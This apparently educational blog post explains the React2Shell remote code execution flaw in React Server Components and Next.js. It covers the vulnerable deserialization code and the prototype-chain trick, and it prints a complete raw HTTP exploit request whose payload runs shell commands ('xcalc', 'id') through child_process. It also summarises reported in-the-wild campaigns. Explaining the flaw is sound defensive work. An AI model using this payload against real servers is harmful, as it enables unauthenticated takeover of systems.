React2shell for dummies
Everything You Need to Know: Why, What, and How

If you prefer to read this blog in a static website, I've got the same content over at redtrib3.bearblog.dev.
There has been a lot off fuzz lately about this new vulnerability in React and NextJS. All of this seems to be quiet confusing at first but it can easily be made sense of if you understand the "what, why and how". In this writeup, I will try to explain the "React2Shell" Vulnerability in detailed but also trying to keep it layman.
In this blog-post, I will be explaining it in context of the vulnerability in NextJS as that seems to be more widely exploited and talked about.
The Introduction
The react2shell vulnerability was found by the researcher Lachlan Davidson and is rated 10.0 (Critical) with a CVE ID of CVE-2025-55182.
It allows an attacker to remotely execute arbitary code Unauthenticated. This vulnerability is introduced by a flaw in how React decodes payloads sent to React Server Function endpoints. The vulnerability is present in versions React versions 19.0, 19.1.0 and 19.1.1.
The vulnerability lies in the React Flight protocol, which is used to encode inputs and outputs for React Server Functions and Server Components (RSC).
React Flight Protocol
React Flight is the protocol that allows to transmit this data back and forth. Itβs very powerful and complete. Imagine if JSON were able to represent data thatβs not yet ready, like a πΏππππππ, so that your UI can render as fast as possible while some backend or database hasnβt responded yet.
What is React Server Component (RSC)
React Server Components (RSC) is a feature introduced in React 19 that allows components to be rendered on the server rather than the clientβs browser. This can be quiet confusing if you are not used to React, This is explained well and detailed in this blog post By Joshua Comeau. I recommend giving it a read.
In short ,
React Server Components is the name for a brand-new paradigm in React. In this new world, we can create components that run exclusively on the server. This allows us to do things like write database queries right inside our React components!
What is this bug about?
React Server Components (RSC) use a custom serialization format to send data from server to client.
When you submit a form in Next.js with Server Actions, the client serializes the data and sends it to the server, where React deserializes it. The vulnerability exploits this deserialization process. This is basically a deserialization vulnerability.
Wait, What the hell is "Server Action"?
A Server Action (AKA Server Functions in nextjs) is an asynchronous functions that run on the server and can be called directly from your client-side React components
Thanks to Server Actions, developers are able to execute server-side code on user interaction, without having to create an API endpoint themselves.
Server actions are called using POST requests with the Next-Action header containing the ID of the action. The endpoint is actually the page where the action is invoked.
For example, Here we are defining a Server Action method that simply prints a text into the console on trigger. ("use server" directive makes every function in the page a server action)
// app/actions.ts
"use server";
export async function test12() {
console.log(`Server action triggered.`);
}
Now, when you call a Server Action from a client component, itβs not just a regular function call. Next.js does some stuff behind the scenes.
Hereβs the breakdown:
Your client code calls the Server Action function.
Next.js then serializes the arguments you passed. basically, converting them into a format that can be sent over the network.
Then, a
POSTrequest is fired off to a special Next.js endpoint, with the serialized data and some extra info to identify the Server Action (Next-Action header).The server receives the request, figures out which Server Action to run, deserializes the arguments, and executes your code.
The server then serializes the return value and sends it back to the client. Your client receives the response, deserializes it, and automatically re-renders the relevant parts of your UI.
In short, NextJS serializes data to server functions.
How does React Server Components (RSC) serialize stuff?
React Server Components(RSC) use a special serialization format with prefixes:
$@- Reference to another part of the payload ($@0means "get form field named '0')$Q- Promise/Async chunk$followed by number - Reference by ID$1:path:to:prop- Property access chain
You will understand how this works as you read along.
What introduces the vulnerability
The piece of code that introduces the vulnerability is right here, the requireModule method in react-server-dom-webpack package.
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
// ... additional logic ...
return moduleExports[metadata[2]]; // VULNERABLE LINE
}
Imagine you have a toolbox (the moduleExports) and you're told "give me tool number 5" (metadata[2]). You'd expect to only be able to get tools that are actually in the toolbox, right? But surprisingly or not, Javascript doesn't work that way.
Prototype chains in Javascript
What Javascript does:
When you write moduleExports[metadata[2]], Javascript says:
"Let me look in the toolbox for this item"
"Not there? Let me check the toolbox's template (prototype)"
"Not there? Let me check the template's template"
"Not there? Let me keep going up the chain..."
This is called the prototype chain, and it means you can access things that were never actually put in the toolbox. You can learn more about this here.
Here is an example summarising that:
const moduleExports = function sayHello() {
return "Hello!";
};
// The module ONLY exports sayHello
// But look what we can access:
console.log(moduleExports.constructor); // Function constructor
// where did 'constructor' come from even if its not in our module?
Every JavaScript function automatically has a hidden property called constructor that points to the Function constructor. And Function is basically the "code executor" of Javascript, It's pretty much like eval but runs it in global scope.
Putting it together: The attack
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
// moduleExports is just a normal function the module exported
return moduleExports[metadata[2]];
// The attacker controls metadata[2]
}
Now what the attacker does:
They set
metadata[2]to"constructor"The code runs:
moduleExports["constructor"]JavaScript climbs the prototype chain and finds
Function.constructorThe attacker now has access to
Function- they can run any code.
The Exploitation and how react reacts
To explain the exploitation, you have to carefully take a look at this raw request exploiting the vulnerability:
POST / HTTP/1.1
Host: localhost
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
Let me explain what each of it means and the "why".
Next-Action Header: As explained in the Server Actions sections, a Server Action is sent with a Next-Action HTTP header with a custom ID, here the header Next-Action: x triggers Reactβs "Server Action" processing.
Form-data 0: This is the main part of the exploit:
{
// PROTOTYPE POLLUTION PART:
"then": "$1:__proto__:then", // This resolves to Chunk.prototype.then
//MAKE IT LOOK LIKE A RESOLVED PROMISE
"status": "resolved_model", // tells react "i'm resolved".
"reason": -1, // placeholder (to bypass check)
"value": "{\"then\":\"$B1337\"}", // contains another then reference
// THE PAYLOAD
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", //THE MALICIOUS CODE
"_chunks": "$Q2", // Reference to chunk storage
"_formData": {
"get": "$1:constructor:constructor" // Path to Function Constructor
}
}
}
Now: what is this resolved_model ?
While RFlight is intended to transport βuser objectsβ, Lachlan found a way to confuse React. Heβs essentially expressing βinternal stateβ, an object thatβs supposed to be private and contain Reactβs internal book keeping. Anytime React has to represent an "in-flight" object, it uses an internal data structure that keeps track of its status. ππππππππ_πππππ means its πππππ is ready to be used.
Form-data 1:
The value of Form data 1 is $@0. This is a reference to form data 0. This piece of react code should explain how it basically work:
function parseModelString(
response: Response,
obj: Object,
key: string,
value: string,
reference: void | string,
): any {
// here value is `$@0`
if (value[0] === '$') { // yes it is in our case
switch (value[1]) { // that is '@' in our case
case '$': {
// This was an escaped string value.
return value.slice(1);
}
case '@': {
// Promise
const id = parseInt(value.slice(2), 16); //that is 0.
const chunk = getChunk(response, id);
return chunk;
}
}
formdata 2: An empty array, completing the required structure.
Here is the whole flow of the exploit:
HTTP Request
β
Field 0: {malicious payload}
Field 1: "$@0" βββββββ
β β
parseModelString β
β β
"$@0" detected β
β β
getChunk(0) ββββββββββ
β
Returns malicious object as Chunk
β
Resolve "then": "$1:__proto__:then"
β
ββ> Get chunk 1
ββ> Access __proto__ β Object.prototype
ββ> Set .then β Chunk.prototype.then
β
PROTOTYPE POLLUTION COMPLETE
β
React sees object has .then
β
Calls object.then(resolve, reject)
β
Inside Chunk.prototype.then():
ββ> this = our malicious object
ββ> this.status = "resolved_model"
ββ> Calls initializeModelChunk(this)
β
initializeModelChunk():
ββ> Accesses chunk._response
ββ> Deserializes "$B1337" Blob
ββ> Calls response._formData.get(response._prefix)
β
formData.get resolved from "$1:constructor:constructor":
ββ> chunk 1 (our object)
ββ> .constructor β Object
ββ> .constructor β Function
ββ> formData.get = Function
β
Function(response._prefix) called:
ββ> _prefix = "var res=process.mainModule..."
ββ> Creates executable function
β
CODE EXECUTION
ββ> command runs
β
Error thrown with command output in digest
β
Attacker receives output!
Is This Exploited in the Real World? if so, How?
With the disclosure of a bug with critical rating of 10.0 and has a huge impact, it is expected to be exploited in the wild as many versions of Public PoCs are around.
Here are some of the known exploitation by threat actors:
- Chinese APT groups are having a field day with this one. Amazon's threat intel team spotted several China-linked hacking groups actively exploiting this in the wild. One group called Earth Lamia has been particularly busy these TAs have a track record of going after web vulnerabilities to hit targets across Latin America, the Middle East, and Southeast Asia. They typically focus on financial services, logistics companies, retail, IT firms, universities, and government organizations.
Google's threat hunters have been tracking multiple exploitation campaigns:
A group they're calling UNC6600 has been using the vulnerability to deploy something called MINOCAT, which is a tunneling tool that lets them maintain persistent access to compromised systems.
Another group, UNC6586 exploited the vuln to run commands that would curl or wget a malicious script, which then downloaded and ran a downloader called SNOWLIGHT.
There's also UNC6588, who used the vulnerability to drop a backdoor called COMPOOD that disguises itself as Vim (the text editor). Interestingly, Google didn't see much follow-up activity from this group.



